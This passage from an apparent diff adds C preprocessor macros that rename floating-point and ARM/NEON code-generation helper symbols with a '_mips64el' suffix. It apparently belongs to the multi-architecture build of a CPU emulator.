floatx80_compare_internal_mips64el +#define floatx80_compare_quiet floatx80_compare_quiet_mips64el +#define floatx80_default_nan floatx80_default_nan_mips64el +#define floatx80_div floatx80_div_mips64el +#define floatx80_eq floatx80_eq_mips64el +#define floatx80_eq_quiet floatx80_eq_quiet_mips64el +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_mips64el +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_mips64el +#define floatx80_le floatx80_le_mips64el +#define floatx80_le_quiet floatx80_le_quiet_mips64el +#define floatx80_lt floatx80_lt_mips64el +#define floatx80_lt_quiet floatx80_lt_quiet_mips64el +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_mips64el +#define floatx80_mul floatx80_mul_mips64el +#define floatx80_rem floatx80_rem_mips64el +#define floatx80_round_to_int floatx80_round_to_int_mips64el +#define floatx80_scalbn floatx80_scalbn_mips64el +#define floatx80_sqrt floatx80_sqrt_mips64el +#define floatx80_sub floatx80_sub_mips64el +#define floatx80ToCommonNaN floatx80ToCommonNaN_mips64el +#define floatx80_to_float128 floatx80_to_float128_mips64el +#define floatx80_to_float32 floatx80_to_float32_mips64el +#define floatx80_to_float64 floatx80_to_float64_mips64el +#define floatx80_to_int32 floatx80_to_int32_mips64el +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_mips64el +#define floatx80_to_int64 floatx80_to_int64_mips64el +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_mips64el +#define floatx80_unordered floatx80_unordered_mips64el +#define floatx80_unordered_quiet floatx80_unordered_quiet_mips64el +#define flush_icache_range flush_icache_range_mips64el +#define format_string format_string_mips64el +#define fp_decode_rm fp_decode_rm_mips64el +#define frame_dummy frame_dummy_mips64el +#define free_range free_range_mips64el +#define fstat64 fstat64_mips64el +#define futex_wait futex_wait_mips64el +#define futex_wake futex_wake_mips64el +#define gen_aa32_ld16s gen_aa32_ld16s_mips64el +#define gen_aa32_ld16u gen_aa32_ld16u_mips64el +#define gen_aa32_ld32u gen_aa32_ld32u_mips64el +#define gen_aa32_ld64 gen_aa32_ld64_mips64el +#define gen_aa32_ld8s gen_aa32_ld8s_mips64el +#define gen_aa32_ld8u gen_aa32_ld8u_mips64el +#define gen_aa32_st16 gen_aa32_st16_mips64el +#define gen_aa32_st32 gen_aa32_st32_mips64el +#define gen_aa32_st64 gen_aa32_st64_mips64el +#define gen_aa32_st8 gen_aa32_st8_mips64el +#define gen_adc gen_adc_mips64el +#define gen_adc_CC gen_adc_CC_mips64el +#define gen_add16 gen_add16_mips64el +#define gen_add_carry gen_add_carry_mips64el +#define gen_add_CC gen_add_CC_mips64el +#define gen_add_datah_offset gen_add_datah_offset_mips64el +#define gen_add_data_offset gen_add_data_offset_mips64el +#define gen_addq gen_addq_mips64el +#define gen_addq_lo gen_addq_lo_mips64el +#define gen_addq_msw gen_addq_msw_mips64el +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_mips64el +#define gen_arm_shift_im gen_arm_shift_im_mips64el +#define gen_arm_shift_reg gen_arm_shift_reg_mips64el +#define gen_bx gen_bx_mips64el +#define gen_bx_im gen_bx_im_mips64el +#define gen_clrex gen_clrex_mips64el +#define generate_memory_topology generate_memory_topology_mips64el +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_mips64el +#define gen_exception gen_exception_mips64el +#define gen_exception_insn gen_exception_insn_mips64el +#define gen_exception_internal gen_exception_internal_mips64el +#define gen_exception_internal_insn gen_exception_internal_insn_mips64el +#define gen_exception_return gen_exception_return_mips64el +#define gen_goto_tb gen_goto_tb_mips64el +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_mips64el +#define gen_helper_add_saturate gen_helper_add_saturate_mips64el +#define gen_helper_add_setq gen_helper_add_setq_mips64el +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_mips64el +#define gen_helper_clz32 gen_helper_clz32_mips64el +#define gen_helper_clz64 gen_helper_clz64_mips64el +#define gen_helper_clz_arm gen_helper_clz_arm_mips64el +#define gen_helper_cpsr_read gen_helper_cpsr_read_mips64el +#define gen_helper_cpsr_write gen_helper_cpsr_write_mips64el +#define gen_helper_crc32_arm gen_helper_crc32_arm_mips64el +#define gen_helper_crc32c gen_helper_crc32c_mips64el +#define gen_helper_crypto_aese gen_helper_crypto_aese_mips64el +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_mips64el +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_mips64el +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_mips64el +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_mips64el +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_mips64el +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_mips64el +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_mips64el +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_mips64el +#define gen_helper_double_saturate gen_helper_double_saturate_mips64el +#define gen_helper_exception_internal gen_helper_exception_internal_mips64el +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_mips64el +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_mips64el +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_mips64el +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_mips64el +#define gen_helper_get_user_reg gen_helper_get_user_reg_mips64el +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_mips64el +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_mips64el +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_mips64el +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_mips64el +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_mips64el +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_mips64el +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_mips64el +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_mips64el +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_mips64el +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_mips64el +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_mips64el +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_mips64el +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_mips64el +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_mips64el +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_mips64el +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_mips64el +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_mips64el +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_mips64el +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_mips64el +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_mips64el +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_mips64el +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_mips64el +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_mips64el +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_mips64el +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_mips64el +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_mips64el +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_mips64el +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_mips64el +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_mips64el +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_mips64el +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_mips64el +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_mips64el +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_mips64el +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_mips64el +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_mips64el +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_mips64el +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_mips64el +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_mips64el +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_mips64el +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_mips64el +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_mips64el +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_mips64el +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_mips64el +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_mips64el +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_mips64el +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_mips64el +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_mips64el +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_mips64el +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_mips64el +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_mips64el +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_mips64el +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_mips64el +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_mips64el +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_mips64el +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_mips64el +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_mips64el +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_mips64el +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_mips64el +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_mips64el +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_mips64el +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_mips64el +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_mips64el +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_mips64el +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_mips64el +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_mips64el +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_mips64el +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_mips64el +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_mips64el +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_mips64el +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_mips64el +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_mips64el +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_mips64el +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_mips64el +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_mips64el +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_mips64el +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_mips64el +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_mips64el +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_mips64el +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_mips64el +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_mips64el +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_mips64el +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_mips64el +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_mips64el +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_mips64el +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_mips64el +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_mips64el +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_mips64el +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_mips64el +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_mips64el +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_mips64el +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_mips64el +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_mips64el +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_mips64el +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_mips64el +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_mips64el +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_mips64el +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_mips64el +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_mips64el +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_mips64el +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_mips64el +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_mips64el +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_mips64el +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_mips64el +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_mips64el +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_mips64el +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_mips64el +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_mips64el +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_mips64el +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_mips64el +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_mips64el +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_mips64el +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_mips64el +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_mips64el +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_mips64el +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_mips64el +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_mips64el +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_mips64el +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_mips64el +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_mips64el +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_mips64el +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_mips64el +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_mips64el +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_mips64el +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_mips64el +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_mips64el +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_mips64el +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_mips64el +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_mips64el +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_mips64el +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_mips64el +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_mips64el +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_mips64el +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_mips64el +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_mips64el +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_mips64el +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_mips64el +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_mips64el +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_mips64el +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_mips64el +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_mips64el +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_mips64el +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_mips64el +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_mips64el +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_mips64el +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_mips64el +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_mips64el +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_mips64el +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_mips64el +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_mips64el +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_mips64el +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_mips64el +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_mips64el +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_mips64el +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_mips64el +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_mips64el +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_mips64el +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_mips64el +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_mips64el +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_mips64el +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_mips64el +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_mips64el +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_mips64el +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_mips64el +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_mips64el +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_mips64el +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_mips64el +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_mips64el +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_mips64el +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_mips64el +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_mips64el +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_mips64el +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_mips64el +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_mips64el +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_mips64el +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_mips64el +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_mips64el +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_mips64el +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_mips64el +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_mips64el +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_mips64el +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_mips64el +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_mips64el +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_mips64el +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_mips64el +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_mips64el +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_mips64el +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_mips64el +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_mips64el +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_mips64el +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_mips64el +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_mips64el +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_mips64el +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_mips64el +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_mips64el +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_mips64el +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_mips64el +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_mips64el +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_mips64el +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_mips64el +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_mips64el +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_mips64el +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_mips64el +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_mips64el +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_mips64el +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_mips64el +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_mips64el +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_mips64el +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_mips64el +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_mips64el +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_mips64el +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_mips64el +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_mips64el +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_mips64el +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_mips64el +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_mips64el +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_mips64el +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_mips64el +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_mips64el +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_mips64el +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_mips64el +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_mips64el +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_mips64el +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_mips64el +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_mips64el +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_mips64el +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_mips64el +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_mips64el +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_mips64el +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_mips64el +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_mips64el +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_mips64el +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_mips64el +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_mips64el +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_mips64el +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_mips64el +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_mips64el +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_mips64el +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_mips64el +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_mips64el +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_mips64el +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_mips64el +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_mips64el +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_mips64el +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_mips64el +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_mips64el +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_mips64el +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_mips64el +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_mips64el +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_mips64el +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_mips64el +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_mips64el +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_mips64el +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_mips64el +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_mips64el +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_mips64el +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_mips64el +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_mips64el +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_mips64el +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_mips64el +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_mips64el +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_mips64el +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_mips64el +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_mips64el +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_mips64el +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_mips64el +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_mips64el +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_mips64el +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_mips64el +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_mips64el +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_mips64el +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_mips64el +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_mips64el +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_mips64el +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_mips64el +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_mips64el +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_mips64el +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_mips64el +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_mips64el +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_mips64el +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_mips64el +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_mips64el +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_mips64el +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_mips64el +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_mips64el +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_mips64el +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_mips64el +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_mips64el +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_mips64el +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_mips64el +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_mips64el +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_mips64el +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_mips64el +#define gen_helper_neon_tbl gen_helper_neon_tbl_mips64el +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_mips64el +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_mips64el +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_mips64el +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_mips64el +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_mips64el +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_mips64el +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_mips64el +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_mips64el +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_mips64el +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_mips64el +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_mips64el +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_mips64el +#define gen_helper_neon_zip16 gen_helper_neon_zip16_mips64el +#define gen_helper_neon_zip8 gen_helper_neon_zip8_mips64el +#define gen_helper_pre_hvc gen_helper_pre_hvc_mips64el +#define gen_helper_pre_smc gen_helper_pre_smc_mips64el +#define 